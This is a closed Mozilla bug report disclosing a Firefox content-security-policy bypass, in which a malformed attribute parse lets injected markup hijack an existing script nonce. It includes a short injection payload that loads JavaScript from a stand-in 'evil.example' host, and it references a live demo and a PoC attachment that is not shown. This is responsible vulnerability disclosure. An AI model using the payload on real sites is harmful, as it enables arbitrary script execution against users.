Closed Bug 1817272 Opened 2 years ago Closed 2 years ago

CSP bypass due to incorrect attribute parsing

Categories

(Core :: DOM: Security, defect)

Firefox 109
defect

Tracking

()

RESOLVED DUPLICATE of bug 1397308

People

(Reporter: squarcina, Unassigned)

Details

Attachments

(1 file)

Attached file noncehijacking.js

We discovered a CSP bypass in Firefox due to a peculiar parsing of HTML attributes compared to other browsers. In Firefox, the HTML code <script <script nonce="abc"> is parsed as a single <script> node with 2 attributes:

  • <script=""
  • nonce="abc"

This is captured by the (failing) WPT test nonce-enforce-blocked.html.

This behavior enables an attacker with a markup injection on the page to bypass CSP by hijacking the valid nonce of an already existing <script> attribute. For instance, assuming that the CSP of the following page is Content-Security-Policy: script-src 'nonce-abc':

{INJECTION} <script nonce="abc" src="https://good.example/good.js"></script>

An attacker can execute arbitrary javascript by injecting <script src="https://evil.example/evil.js", resulting into the following code:

<script src="https://evil.example/evil.js" <script nonce="abc" src="https://good.example/good.js"></script>

A working demo of the attack can be tested at https://noncehijacking.minimal.blue/?foo=injection and triggered with the following payload:

The full NodeJS code of the PoC is attached to this vulnerability report.

Could you please CC Pedro Bernardo (user id 722366) to this report since we discovered the issue together?

Best regards

Group: firefox-core-security → core-security
Component: Security → DOM: Security
Product: Firefox → Core
Status: UNCONFIRMED → RESOLVED
Closed: 2 years ago
Duplicate of bug: 1397308
Resolution: --- → DUPLICATE
Group: core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: